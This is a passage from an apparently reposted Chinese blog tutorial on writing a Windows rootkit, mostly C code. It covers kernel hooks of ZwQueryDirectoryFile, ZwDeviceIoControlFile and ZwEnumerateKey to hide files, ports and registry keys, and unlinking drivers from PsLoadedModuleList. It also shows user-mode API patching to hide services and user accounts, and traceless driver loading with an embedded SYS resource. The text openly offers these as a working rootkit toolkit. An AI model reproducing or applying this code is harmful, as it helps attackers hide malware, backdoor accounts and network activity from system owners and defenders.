FileInformationBuffer,<br>IN ULONG FileInformationBufferLength,<br>IN FILE_INFORMATION_CLASS FileInfoClass,<br>IN BOOLEAN ReturnOnlyOneEntry,<br>IN PUNICODE_STRING FileName OPTIONAL,<br>IN BOOLEAN RestartQuery);<br><br>hFile为文件句柄，由ZwCrateFile或ZwOpenFile获得，FileInfoClass是一个不断变化的枚举类型，但只有4个同文件/目录有关。FileInformationBuffer是返回的信息指针。我们要隐藏文件/目录，就要处理这4个不同的枚举类型，它们的数值分别是：1、2、3和12，分别对应4个不同的结构，由于结构内容比较长，所以只介绍信息类为12的内容，其他可以在光盘中的FileInfo.txt中找到。信息类为12返回的结果如下：<br><br>typedef struct file_name_info {<br>ULONG NextEntryOffset; //文件偏移<br>ULONG Unknown; //下一文件索引<br>ULONG FileNameLength; //文件长度<br>WCHAR FileName[1]; //文件名<br>}FILE_NAMES_INFORMATION,*LPFILE_NAMES_INFORMATION;<br><br>隐藏文件/目录的方法和隐藏进程基本上一样，如果没有文件/目录被找到，应该返回0x80000006。<br><br>NTSTATUS NewZwQueryDirectoryFile (<br>IN HANDLE hFile,<br>&#8230;&#8230;)<br>{<br>......<br>//请求原函数<br>ntStatus=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (hFile,&#8230;&#8230;);<br><br>if (NT_SUCCESS(ntStatus) &amp;&amp; FileInfoClass==12)<br>{<br>//指向文件列表缓冲区<br>FileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;<br>do { <br>LastOne=!(FileCurr-&gt;NextEntryOffset); //取偏移<br>FileNameLength=FileCurr-&gt;FileNameLength; //取长度<br>RtlInitUnicodeString(&amp;FileNameWide,FileCurr-&gt;FileName);<br>RtlUnicodeStringToAnsiString(&amp;FileNameAnsi,&amp;FileNameWide,TRUE);<br>if (_strnicmp(HIDDEN_SYSTEM_FILE,FileNameAnsi.Buffer,<br>(FileNameLength / 2))==0)<br>{<br>//最后一个文件<br>if (LastOne)<br>{<br>if (FileCurr==(LPFILE_NAMES_INFORMATION)<br>FileInformationBuffer)<br>ntStatus=0x80000006; //隐藏<br>else<br>FilePrev-&gt;NextEntryOffset=0;<br>}<br>else<br>{<br>//移动文件偏移<br>Pos=((ULONG)FileCurr)-((ULONG)FileInformationBuffer);<br>Left=(DWORD)FileInformationBufferLength-Pos-<br>FileCurr-&gt;NextEntryOffset;<br>RtlCopyMemory((PVOID)FileCurr,(PVOID)((char *)<br>FileCurr+FileCurr-&gt;NextEntryOffset),(DWORD)Left);<br>continue;<br>}<br>}<br><br>//下一文件<br>FilePrev=FileCurr;<br>FileCurr=(LPFILE_NAMES_INFORMATION)((char *)<br>FileCurr+FileCurr-&gt;NextEntryOffset);<br>}while (!LastOne);<br>}<br><br>&#8230;&#8230;<br>return ntStatus;<br>}<br><br>HIDDEN_SYSTEM_FILE同样是宏，另外，文件长度是以Unicode统计的，一个字符占16位，而比较语句是以ANSI比较的，一个字符占8位，所以_strnicmp函数最后的比较大小是FileNameLength / 2，如果以Unicode比较，就不必除以2了。在来看看隐藏端口。<br><br><br>六、隐藏端口<br><br><br>枚举端口使用iphlpapi.dll中的函数，而它们最终调用的是ZwDeviceIoControlFile函数，使用它发送一个特定的IRP获取端口列表，所以只要HOOK了ZwDeviceIoControlFile函数，就可以隐藏端口。函数原型如下：<br><br>NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile (<br>IN HANDLE FileHandle,<br>IN HANDLE Event OPTIONAL,<br>IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,<br>IN PVOID ApcContext,<br>OUT PIO_STATUS_BLOCK IoStatusBlock,<br>IN ULONG IoControlCode,<br>IN PVOID InputBuffer OPTIONAL,<br>IN ULONG InputBufferLength,<br>OUT PVOID OutputBuffer OPTIONAL,<br>IN ULONG OutputBufferLength);<br><br>FileHandle为通信设备的句柄，可以使用ZwQueryObject函数获得其具体信息，对于端口设备的，它的名字总是\Device\Tcp或\Device\Udp；IoControlCode为特定的I/O控制代码，表示要查询的信息。InputBuffer和OutputBuffer分别为输入输出缓冲。<br><br>查询端口的I/O控制代码有2个，分别为：0x210012和0x120003，它们所返回的结构、分辨TCP/UDP端口都是不同的，需要分别对待。在我的Windows 2000 SP4下，Netstat使用0x120003，而Fport却使用0x210012。对于0x120003，返回的结构如下：<br><br>typedef struct tcpaddrentry //TCP<br>{<br>ULONG TcpState; //状态<br>ULONG TcpLocalAddr; //本地地址<br>ULONG TcpLocalPort; //本地端口<br>ULONG TcpRemoteAddr; //远程地址<br>ULONG TcpRemotePort; //远程端口<br>}TCPADDRENTRY,*LPTCPADDRENTRY;<br><br>typedef struct udpaddrentry //UDP<br>{<br>ULONG UdpLocalAddr; //UDP只有本地地址<br>ULONG UdpLocalPort; //端口<br>}UDPADDRENTRY,*LPUDPADDRENTRY;<br><br>很熟悉吧，这正是iphlpapi.dll中的函数返回的结构。对于这2个结构，还可以扩展，则会增加一个进程ID，不过只适用XP/2003，结构就不帖了，可以在RootkitMain.h中查找到。使用这个I/O控制代码进行端口查询，FileHandle的名字总是\Device\Tcp，所以区别TCP和UDP的方法是检查InputBuffer，包括判断是否为扩展结构。<br><br>对于TCP查询，输入缓冲的特征是InputBuffer[0]为0x00，如果OutputBuffer中已经有了端口数据，则InputBuffer[17]为0x01，如果是扩展结构，则InputBuffer[16]为0x02。对于UDP查询，InputBuffer[0]就为0x01了，InputBuffer[16]和InputBuffer[17]的值和TCP查询是一样的。我们使用这3个值来区分TCP/UDP端口和是否为扩展结构，OutputBuffer返回的是完整的端口列表缓冲区，使用IoStatusBlock取得端口的数量，隐藏某个端口，就向前移动缓冲区。对于0x210012，返回的结构如下：<br><br>typedef struct tdiconnectinfo<br>{<br>ULONG State;<br>ULONG Event;<br>ULONG TransmittedTsdus;<br>ULONG ReceivedTsdus;<br>ULONG TransmissionErrors;<br>ULONG ReceiveErrors;<br>LARGE_INTEGER Throughput;<br>LARGE_INTEGER Delay;<br>ULONG SendBufferSize;<br>ULONG ReceiveBufferSize;<br>BOOLEAN Unreliable;<br>}TDI_CONNECTION_INFO,*LPTDI_CONNECTION_INFO;<br><br>使用这个I/O控制代码进行端口查询，FileHandle的名字是\Device\Tcp或\Device\Udp，所以分别TCP或UDP不需要输入缓冲，而是使用ZwQueryObject函数获取句柄的名字。OutputBuffer返回的是单独的缓冲区，也就是说，一个端口返回一个，隐藏某个端口，就将返回值设置为STATUS_INVALID_ADDRESS即可。<br><br>NTSTATUS NewZwDeviceIoControlFile (<br>IN HANDLE FileHandle,<br>......)<br>{<br>......<br>//请求原函数<br>ntStatus=((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile))(FileHandle,&#8230;&#8230;);<br><br>if ((NT_SUCCESS(ntStatus)) &amp;&amp; (IoControlCode==0x210012))<br>{<br>//查询句柄名称 以便确定是TCP还是UDP<br>if (NT_SUCCESS(ZwQueryObject(FileHandle,<br>OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&amp;RetLen)))<br>{<br>//指向端口列表缓冲区<br>lpTdiConnInfo=(LPTDI_CONNECTION_INFO)OutputBuffer;<br>RtlUnicodeStringToAnsiString(&amp;ObjectNameAnsi,&amp;ObjectName-&gt;Name,TRUE);<br><br>//TCP端口<br>if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,<br>strlen(TCP_PORT_DEVICE))==0)<br>{<br>if (ntohs(lpTdiConnInfo-&gt;ReceivedTsdus)==HIDDEN_SYSTEM_PORT)<br>ntStatus=STATUS_INVALID_ADDRESS; //隐藏<br>}<br><br>//UDP端口<br>if (_strnicmp(ObjectNameAnsi.Buffer,UDP_PORT_DEVICE,<br>strlen(UDP_PORT_DEVICE))==0)<br>{<br>if (ntohs(lpTdiConnInfo-&gt;ReceivedTsdus)==HIDDEN_SYSTEM_PORT) <br>ntStatus=STATUS_INVALID_ADDRESS; //隐藏<br>}<br>}<br>}<br><br>if ((NT_SUCCESS(ntStatus)) &amp;&amp; (IoControlCode==0x120003))<br>{<br>if (NT_SUCCESS(ZwQueryObject(FileHandle,<br>OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&amp;RetLen)))<br>{<br>RtlUnicodeStringToAnsiString(&amp;ObjectNameAnsi,&amp;ObjectName-&gt;Name,TRUE);<br>if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,<br>strlen(TCP_PORT_DEVICE))==0)<br>{<br>if (((InBuf=(LPBYTE)InputBuffer)==NULL) || (InputBufferLength&lt;17))<br>//错误处理<br><br>if ((InBuf[0]==0x00) &amp;&amp; (InBuf[17]==0x01)) //TCP端口<br>{<br>if (InBuf[16]!=0x02) //非扩展结构<br>{<br>//获取端口个数<br>Num=IoStatusBlock-&gt;Information / sizeof (TCPADDRENTRY);<br>lpTcpAddrEntry=(LPTCPADDRENTRY)OutputBuffer;<br><br>for (n=0; n&lt;Num; n++)<br>{<br>if (ntohs(lpTcpAddrEntry[n].TcpLocalPort)==<br>HIDDEN_SYSTEM_PORT)<br>{<br><br>//向前移动端口列表缓冲区<br>memcpy((lpTcpAddrEntry+n),(lpTcpAddrEntry+n+1),<br>((Num-n-1) * sizeof (TCPADDRENTRY)));<br>Num--; //总数--<br>n--;<br>break;<br>}<br>}<br><br>//隐藏后端口总数<br>IoStatusBlock-&gt;Information=Num * sizeof (TCPADDRENTRY);<br>...... <br>}<br>}<br>&#8230;&#8230;<br>}<br>}<br>}<br><br>return ntStatus;<br>}<br><br>0x120003查询的UDP和处理扩展结构的代码就不帖了，和处理TCP一样，无非就是结构不同，隐藏都是memcpy移动缓冲。还有必须检查InBuf[17]是否为0x01，否则指向的OutputBuffer就是NULL指针了。下面的内容是隐藏注册表。<br><br><br>七、隐藏注册表<br><br><br>枚举注册表键和键值使用的Native API是ZwEnumerateKey和ZwEnumerateValueKey函数，它们所做的工作基本一样，都是使用索引获取键/键值，并返回一个缓冲区指针。ZwEnumerateKey函数原型如下，ZwEnumerateValueKey函数和它几乎一样，就不帖出来了。<br><br>NTSYSAPI NTSTATUS NTAPI ZwEnumerateKey (<br>IN HANDLE KeyHandle, //句柄<br>IN ULONG Index, //请求的索引<br>IN KEY_INFORMATION_CLASS KeyInformationClass, //获取的信息类型<br>OUT PVOID KeyInformation, //返回的缓冲区指针<br>IN ULONG Length, //长度<br>OUT PULONG ResultLength); //实际长度<br><br>DDK中公开了若干注册表函数，所以这2个函数的结构，枚举类型都已经定义好了，直接使用就可以了。KeyInformationClass一共4个值，可喜的是我们不必逐个处理，统一处理就可以了，因为只需要注册表键/键值名和其长度，而返回的这4个结构中都包含这2个结构成员，所以才可以统一处理。这里我们使用KEY_BASIC_INFORMATION结构。<br><br>typedef struct _KEY_BASIC_INFORMATION {<br>LARGE_INTEGER LastWriteTime;<br>ULONG TitleIndex;<br>ULONG NameLength;<br>WCHAR Name[1]; <br>}KEY_BASIC_INFORMATION,*PKEY_BASIC_INFORMATION;<br><br>这里我们需要的东西是Name和它的长度NameLength。而对于ZwEnumerateValueKey函数，我们使用KEY_VALUE_BASIC_INFORMATION结构（和KEY_BASIC_INFORMATION几乎一样，所以请查询DDK Documentation文档）。<br><br>枚举注册表键/键值，是通过索引获取的，这样的话，我们隐藏了一个注册表键/键值，那其后的所有索引都需要改变。这里就需要有一个标界，理所当然是利用KeyHandle的值，不同子键的句柄值是不同的。举个例子，例如隐藏了KeyHandle为1下的某一个注册表键，那么其后KeyHandle为1下的所有索引（注册表键）都需要+1，而不是KeyHandle为1的就不需要加了。具体看一下代码，这里仍以ZwEnumerateKey函数为例。<br><br>NTSTATUS NewZwEnumerateKey (<br>IN HANDLE KeyHandle,<br>......)<br>{<br>......<br>static HANDLE RegHandle=NULL;<br>static LONG RegIndex=0;<br><br>if (RegHandle==KeyHandle) //同一句柄<br>Index+=RegIndex; //加上隐藏的注册表键个数<br>else<br>{<br>RegIndex=0; //否则重新赋值为0<br>RegHandle=NULL;<br>}<br><br>//请求原函数<br>ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,&#8230;&#8230;);<br><br>if (NT_SUCCESS(ntStatus))<br>{<br>//指向注册表键缓冲区<br>lpKeyBasic=(KEY_BASIC_INFORMATION *)KeyInformation);<br>RtlInitUnicodeString(&amp;RegsNameWide,lpKeyBasic-&gt;Name);<br>RtlUnicodeStringToAnsiString(&amp;RegsNameAnsi,&amp;RegsNameWide,TRUE);<br><br>if (_strnicmp(HIDDEN_SYSTEM_KEY,RegsNameAnsi.Buffer,<br>(lpKeyBasic-&gt;NameLength / 2))==0)<br>{<br>RegHandle=KeyHandle; //取句柄值<br>RegIndex++; //隐藏个数<br>Index++; //索引加1<br><br>//再次请求 跳过隐藏的注册表键<br>ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,&#8230;&#8230;);<br>}<br>}<br><br>&#8230;&#8230;<br>return ntStatus;<br>}<br><br>使用这种方法隐藏注册表键/键值，发现有时不同子键的KeyHandle值也是相同的，这就造成了多隐藏数据。解决的办法是HOOK了ZwOpenKey函数，使用ZwOpenKey函数的KeyHandle枚举键/键值（使用ZwEnumerateKey和ZwEnumerateValueKey函数），并记录下需要隐藏的索引，然后在ZwEnumerateKey或ZwEnumerateValueKey函数中Index参数进行比较，如果相等，就隐藏了（索引+1即可），这样上面的问题就可以解决了。如果想要做的更隐蔽，像ZwQueryKey、ZwDeleteKey等函数都需要HOOK，我这里只是演示程序，没写这么详细，这些内容就留给各位读者自己实践了（嘿嘿，这叫偷懒）。<br><br><br>八、隐藏内核模块<br><br><br>所谓内核模块，就是内核加载的驱动信息，DDK中的Drivers.exe可以枚举出系统的内核模块列表，它最终调用的是ZwQuerySystemInformation函数，信息类为11，表示获取系统的内核模块。如果要隐藏某个内核模块，就像上边介绍隐藏系统句柄一样，memcpy移动缓冲区，所以这里介绍另一种隐藏方法：从PsLoadedModuleList链上摘除内核模块。PsLoadedModuleList是系统中一个未公开的内核变量（LIST_ENTRY链表），保存着系统的内核模块。使用这种方法隐藏的关键是找到PsLoadedModuleList的地址，好在前人已经给出了方法，用驱动程序对象+14h即可定位PsLoadedModuleList。我们首先需要定义一个结构（这个结构虽然不是完整的，但我可以保证它正常工作）。GetPsLoadedModuleList函数查找PsLoadedModuleList的地址，HideAmlName函数隐藏内核模块，代码如下：<br><br>typedef struct moduleentry<br>{<br>LIST_ENTRY ListEntry;<br>DWORD Unknown[4];<br>DWORD Base;<br>DWORD DriverStart;<br>DWORD Unknown1;<br>UNICODE_STRING DriverPath;<br>UNICODE_STRING DriverName;<br>}MODULE_ENTRY,*LPMODULE_ENTRY;<br><br>DWORD GetPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)<br>{<br>......<br>if (DriverObject)<br>{<br>//驱动程序对象+14h处是PsLoadedModuleList地址<br>if ((lpModuleEntry=*((LPMODULE_ENTRY *)<br>((DWORD)DriverObject+0x14)))==NULL)<br>{<br>//错误处理<br>}<br>}<br><br>return (DWORD)lpModuleEntry; //返回PsLoadedModuleList地址<br>}<br><br>NTSTATUS HideAmlName (TCHAR *HideModule)<br>{<br>if (ModuleEntry)<br>CurrentModuleEntry=ModuleEntry;<br>else<br>return STATUS_UNSUCCESSFUL;<br>//这是双向链表<br>while ((LPMODULE_ENTRY)CurrentModuleEntry-&gt;ListEntry.Flink!=ModuleEntry)<br>{<br>if ((CurrentModuleEntry-&gt;Unknown1!=0) &amp;&amp; <br>(CurrentModuleEntry-&gt;DriverPath.Length!=0))<br>{<br>RtlUnicodeStringToAnsiString(&amp;DriverNameAnsi,<br>&amp;CurrentModuleEntry-&gt;DriverName,TRUE);<br><br>if (_strnicmp(HideModule,DriverNameAnsi.Buffer,<br>strlen(DriverNameAnsi.Buffer))==0)<br>{<br>*((DWORD *)CurrentModuleEntry-&gt;ListEntry.Blink)=<br>(DWORD)CurrentModuleEntry-&gt;ListEntry.Flink;<br>CurrentModuleEntry-&gt;ListEntry.Flink-&gt;Blink=<br>CurrentModuleEntry-&gt;ListEntry.Blink;<br>break;<br>}<br>}<br>//向下移动<br>CurrentModuleEntry=(LPMODULE_ENTRY)<br>CurrentModuleEntry-&gt;ListEntry.Flink;<br>}<br><br>return STATUS_SUCCESS;<br>}<br><br>从PsLoadedModuleList链上摘除内核模块后，ZwQuerySystemInformation函数就无法枚举出它了。<br><br><br>九、用户态HOOK<br><br><br>用户态的HOOK有很多方法，比如修改函数的前5个字节，修改输入表等，这里采用eyas大哥的方法COPY DLL，主要是这种方法效率不错。HOOK新进程采用消息钩子，所以需要编写成DLL。<br><br>HOOK的步骤首先将需要HOOK的DLL加载到当前进程的地址空间中，然后使用PSAPI中的GetModuleInformation函数获取DLL信息，目的是得到DLL的加载地址。<br><br>BOOL InitHookDll (TCHAR *Name,LPDLLINFO lpHookDllInfo)<br>{<br>//取得摸快句炳<br>if ((lpHookDllInfo-&gt;hModule=LoadLibrary(Name))==NULL)<br>{<br>//错误处理<br>}<br><br>//获取摸快信息<br>if (!GetModuleInformation(GetCurrentProcess(),lpHookDllInfo-&gt;hModule,<br>&amp;lpHookDllInfo-&gt;ModuleInfo,sizeof(MODULEINFO)))<br>{<br>//错误处理<br>}<br><br>if ((lpHookDllInfo-&gt;NewBase=malloc <br>(lpHookDllInfo-&gt;ModuleInfo.SizeOfImage))==NULL)<br>{<br>//错误处理<br>}<br><br>//取得摸快地址<br>memcpy(lpHookDllInfo-&gt;NewBase,lpHookDllInfo-&gt;ModuleInfo.lpBaseOfDll,<br>lpHookDllInfo-&gt;ModuleInfo.SizeOfImage);<br>return TRUE;<br>}<br><br>DLLINFO是一个自定义结构，保存着模块的句柄、地址等。DLL加载后，模块信息也有了，下面使用GetProcAddress函数取HOOK函数地址，VirtualQuery函数获取虚拟内存信息，VirtualProtect函数改变页面属性，最后修改原函数的地址（GetProcAddress函数的返回值）使其指向我们的代码。<br><br>BOOL HookUserApi (LPDLLINFO lpHookDllInfo,TCHAR *Name,DWORD OldFunc,DWORD *NewFunc)<br>{<br>//取得需要HOOK函数的地址<br>if ((OrigFunc=(DWORD) GetProcAddress (lpHookDllInfo-&gt;hModule,Name))==NULL)<br>{<br>//错误处理<br>}<br><br>//获取虚拟内存信息<br>if (!VirtualQuery((LPVOID)OrigFunc,&amp;mbi,<br>sizeof(MEMORY_BASIC_INFORMATION)))<br>{<br>//错误处理<br>}<br><br>//改变页面属性为读，写，执行<br>if (!VirtualProtect(mbi.BaseAddress,mbi.RegionSize,<br>PAGE_EXECUTE_READWRITE,&amp;Protect))<br>{<br>//错误处理<br>}<br><br>//HOOK<br>JmpCode.mov_eax=(BYTE)0xB8;<br>JmpCode.address=(LPVOID)OldFunc;<br>JmpCode.jmp_eax=(WORD)0xE0FF;<br><br>//计算原函数地址<br>*NewFunc=OrigFunc - (DWORD)lpHookDllInfo-&gt;ModuleInfo.lpBaseOfDll <br>+ (DWORD)lpHookDllInfo-&gt;NewBase;<br>//修改原函数地址，指向OldFunc<br>memcpy((LPVOID)OrigFunc,(UCHAR *)&amp;JmpCode,sizeof(ASMJUMP));<br>return TRUE;<br>}<br><br>JmpCode是HOOK结构，保存着我们的函数的地址和JMP的跳转地址。有了上面这2个函数，就可以HOOK任何DLL中的函数了，例如枚举用户使用的是NetUserEnum函数，封装在Netapi32.dll中，HOOK例子如下：<br><br>DWORD WINAPI HookMain (LPVOID lpNot)<br>{ <br>if (!(InitHookDll("netapi32.dll",&amp;Netapi32)))<br>{<br>//错误处理<br>}<br><br>if (!(HookUserApi(&amp;Netapi32,"NetUserEnum",(DWORD)HookNetUserEnum,<br>&amp;NewNetUserEnum)))<br>{<br>//错误处理<br>}<br><br>......<br>}<br><br>HookMain函数需要在DllMain中调用，因为消息钩子加载DLL后，就应该立刻进行API HOOK。Netapi32是DLLINFO结构，保存着Netapi32.dll的信息；HookNetUserEnum是我们的函数，NewNetUserEnum是原函数地址。现在只差消息钩子函数了，安装/卸载消息钩子的函数需要引出，消息钩子的类型是WH_GETMESSAGE，钩子回调函数什么都不做，只是向下传递，因为我们的目的是使新进程加载DLL。<br><br>LRESULT WINAPI Hook (int nCode,WPARAM wParam,LPARAM lParam)<br>{<br>//向下传递<br>return CallNextHookEx(hHook,nCode,wParam,lParam);<br>}<br><br>extern "C" __declspec(dllexport) BOOL InstallHook()<br>{<br>//安装钩子<br>if ((hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,<br>hInst,0))==NULL)<br>{<br>//错误处理<br>}<br>return TRUE;<br>}<br><br>extern "C" __declspec(dllexport) BOOL UninstallHook()<br>{<br>//卸载钩子<br>return UnhookWindowsHookEx(hHook);<br>}<br><br>hInst是在DllMain函数中保存的句柄，这是必须的，否则钩子不会安装成功。用户态的HOOK有很多种方法，用哪个随便你了，只要能HOOK API就行！下面介绍隐藏服务/驱动。<br><br><br>十、隐藏服务/驱动<br><br><br>枚举服务使用的是Advapi32.dll中的5个函数，这5个函数在每个Windows系统中的联系都不一样，所以需要HOOK所有函数。<br><br>EnumServicesStatusA()<br>EnumServicesStatusW()<br>EnumServicesStatusExA()<br>EnumServicesStatusExW()<br>EnumServiceGroupW()<br><br>这5个函数中，前4个是公开的，在MSDN中均有叙述，只有最后一个是MS没有公开的，而且只有Unicode版的函数。它的参数和其他4个函数基本一样，返回的结构是LPENUM_SERVICE_STATUS，这个结构也是EnumServicesStatus函数所返回的。5个函数中都有一个dwServiceType参数，表示服务类型，SERVICE_WIN32表示标准Win32服务，SERVICE_DRIVER表示设备驱动。lpServicesReturned为返回服务总数，隐藏的方法还是memcpy移动缓冲区。我们以EnumServiceGroupW函数为例，来看一下代码。<br><br>BOOL WINAPI HookEnumServiceGroupW (SC_HANDLE hSCManager,&#8230;&#8230;)<br>{<br>......<br>__asm<br>{<br>//参数入栈，注意顺序，要遵循__stdcall调用约定<br>push dwUnknown<br>push lpResumeHandle<br>push lpServicesReturned<br>push pcbBytesNeeded<br>push cbBufSize<br>push lpServices<br>push dwServiceState<br>push dwServiceType<br>push hSCManager<br>mov eax,NewEnumServiceGroupW //原函数地址放入EAX<br>call eax //请求<br>mov sRet,eax //返回值<br>}<br><br>if (sRet)<br>{<br>//处理服务和驱动<br>if (dwServiceType==SERVICE_WIN32 || dwServiceType==SERVICE_DRIVER)<br>{<br>//指向服务列表缓冲区<br>lpEnumServiceGroupW=(LPENUM_SERVICE_STATUSW)lpServices;<br>for (DWORD n=0; n&lt;*lpServicesReturned; n++)<br>{<br>......<br>if (strnicmp(HIDDEN_SYSTEM_SERVICE,ServiceNameAnsi,<br>strlen(ServiceNameAnsi))==0)<br>{<br>//向前移动服务列表缓冲区<br>memcpy((lpEnumServiceGroupW+n),(lpEnumServiceGroupW+n+1),<br>((*lpServicesReturned)-n-1) * sizeof (ENUM_SERVICE_STATUSW));<br>(*lpServicesReturned)--; //总数要-1<br>n--;<br>}<br>}<br>}<br>}<br><br>return sRet;<br>}<br><br>上边的代码应该很容易理解了，我们隐藏服务/驱动，只需要判断服务名，所以dwServiceType就一块处理了，不必分开。另外请求原函数要遵循__stdcall调用约定，参数从右向左顺序入栈，最后将原函数地址放入EAX中CALL即可。<br><br><br>十一、隐藏用户<br><br><br>枚举用户有3种方法，其一是使用Netapi32.dll中的函数，另一个就是枚举注册表的SAM键了。隐藏注册表前边已经说过了，这里说一下Netapi32.dll导出的3个函数：<br><br>NetUserEnum()<br>NetGroupGetUsers()<br>NetQueryDisplayInformation()<br><br>第一个函数是枚举用户；第二个函数是获取组内的用户，但根据MSDN的描述，这个函数只适用于域控制器；第三个函数可以枚举用户、组和计算机。NetUserEnum函数支持8种枚举类型，每种类型返回的结构有些不同（其实只是结构成员的名字不同），需要分别处理，另外2个函数也有多种类型，但只有一种是枚举用户的，HOOK这个类型就可以了。3个函数的隐藏方法都是memcpy移动缓冲区，这里以NetUserEnum函数、枚举类型为0进行介绍，其他2个函数和它是一样的，只是结构体不同。<br><br>NET_API_STATUS WINAPI HookNetUserEnum (LPCWSTR servername,&#8230;&#8230;)<br>{<br>......<br>__asm<br>{ <br>push resume_handle<br>push totalentries<br>push entriesread<br>push prefmaxlen<br>push bufptr<br>push filter<br>push level<br>push servername <br>mov eax,NewNetUserEnum<br>call eax<br>mov nStatus,eax<br>}<br><br>if ((nStatus==NERR_Success) &amp;&amp; (bufptr!=NULL))<br>{<br>if (level==0) //处理枚举类型为0<br>{<br>//注意bufptr是2级指针<br>LPUSER_INFO_0 lpUserInfo=*((LPUSER_INFO_0 *)bufptr);<br>if ((nStatus==NERR_Success) || (nStatus==ERROR_MORE_DATA))<br>{<br>for (DWORD n=0;n&lt;*entriesread;n++)<br>{<br>......<br>if (strnicmp(HIDDEN_SYSTEM_USER,UserNameAnsi,<br>strlen(UserNameAnsi))==0)<br>{<br>//向前移动用户列表缓冲区<br>memcpy((lpUserInfo+n),(lpUserInfo+n+1),<br>((*entriesread)-n-1) * sizeof (USER_INFO_0));<br>(*entriesread)--; //总数--<br>n--;<br>}<br>}<br>}<br>}<br><br>......<br>}<br><br>return nStatus;<br>}<br><br>Level表示枚举类型，MSDN中有详细的定义。这3个函数都是Unicode版本，没有ANSI。<br><br><br>十二、驱动的加载与整合<br><br><br>加载驱动一般都是使用Servcie API，但Servcie API创建的服务会在注册表留下痕迹，这不是我们想要的，应该使用一种更好的方法。Native API有2个函数，可以实现驱动的动态加/卸载，不用写注册表，它们是ZwLoadDriver和ZwUnloadDriver函数。使用这2个函数加/卸载驱动，也需要写一下注册表，不过只是配合这2个函数，待驱动加/卸载完成后，就可以删除建立的注册表项，也就是说，我们建立的注册表项最多停留几秒。需要建立的注册表项就是一些服务的键值，比如Type（服务类型），Start（启动类型），ImagePath（驱动路径）等，完整的代码在DevelopmentSetRegistry函数中，就不帖出来了，只帖出动态加/卸载的函数代码。注：动态加/卸载驱动时，已经完成了设置注册表，动态加/卸载驱动后，还要删除注册表项，切记。<br><br>BOOL DevelopmentLaodDriver (WCHAR *DriverName,BOOL LoadBelong)<br>{<br>...... <br>//加载ntdll.dll<br>if ((hModule=LoadLibrary("ntdll.dll"))==NULL)<br>{<br>//错误处理<br>}<br><br>//取得若干函数的地址 <br>ZwLoadDriver=(ZwLoadDriverOld) GetProcAddress (hModule,"ZwLoadDriver");<br>ZwUnloadDriver=(ZwUnloadDriverOld) GetProcAddress (hModule,"ZwUnloadDriver");<br>RtlInitUnicodeString=(RtlInitUnicodeStringOld) GetProcAddress <br>(hModule,"RtlInitUnicodeString");<br>RtlNtStatusToDosError=(RtlNtStatusToDosErrorOld) GetProcAddress <br>(hModule,"RtlNtStatusToDosError");<br><br>swprintf(RegDriver,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%s",<br>DriverName);<br>RtlInitUnicodeString(&amp;ModuleNameWide,RegDriver);<br><br>if (LoadBelong) //TRUE 加载<br>{<br>//加载驱动<br>ntStatus=ZwLoadDriver(&amp;ModuleNameWide);<br>......<br>}<br><br>if (!LoadBelong) //FALSE卸载<br>{<br>//卸载驱动<br>ntStatus=ZwUnloadDriver(&amp;ModuleNameWide);<br>......<br>}<br><br>return TRUE;<br>}<br><br>我们需要使用一个EXE来操作SYS，这样带着2个文件满处跑肯定不方便，所以有必要将其整合。整合的方法有很多，比如放在EXE结尾、将SYS转化为16进制代码，或者做成资源文件。相比之下，做成资源文件比较简单，也不会给EXE增加太多的体积，运行时一释放就OK了。释放资源需要一系列资源函数，最后使用fwrite将文件写入硬盘。我写了一个ReleaseResource函数，用于实现这个功能。<br><br>BOOL ReleaseResource (TCHAR *DriverPath)<br>{<br>......<br>//查找资源 SYS是资源名 SYSRES是资源类名<br>if ((hFind=FindResource(NULL,"SYS","SYSRES"))==NULL)<br>{<br>//错误处理<br>}<br><br>//加载资源<br>if ((hLoad=LoadResource(NULL,hFind))==NULL)<br>{<br>//错误处理<br>}<br><br>//取得资源大小<br>if ((Size=SizeofResource(NULL,hFind))==0)<br>{<br>//错误处理<br>}<br><br>//取得释放地址<br>if ((LockAddr=LockResource(hLoad))==NULL)<br>{<br>//错误处理<br>}<br><br>//打开文件<br>if ((fp=fopen(DriverPath,"wb"))==NULL)<br>{<br>//错误处理<br>}<br><br>//写入<br>fwrite(LockAddr,1,Size,fp);<br>......<br>}<br><br>有了这个函数，就可以只带着EXE满世界跑了。<br>文章写了这么长，是时候结束了，从上面的讲解中不难看出，我们只要对Windows内核有一点了解，就可以开发一个简单的Rootkit，光盘中包含了本文完整的源代码，如对本文有任何问题，欢迎发邮件给我<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#100;&#97;&#104;&#117;&#98;&#97;&#111;&#98;&#97;&#111;&#64;&#101;&#118;&#105;&#108;&#111;&#99;&#116;&#97;&#108;&#46;&#99;&#111;&#109;"><u><font color=#0000ff>dahubaobao@eviloctal.com</font></u></a>。<br><br>十三、附录下载<br><br>FileInfo(枚举文件目录结构)<br>包含隐藏服务/驱动、用户以及用户态HOOK的DLL程序<br>包含隐藏进程、文件/目录、端口、注册表和内核模块的SYS以及加载程序
<img src ="http://www.cppblog.com/saga/aggbug/52802.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2008-06-10 21:55 <a href="http://www.cppblog.com/saga/archive/2008/06/10/52802.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转载]在NT系列操作系统里让自己“消失”</title><link>http://www.cppblog.com/saga/archive/2008/06/10/52797.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Tue, 10 Jun 2008 13:15:00 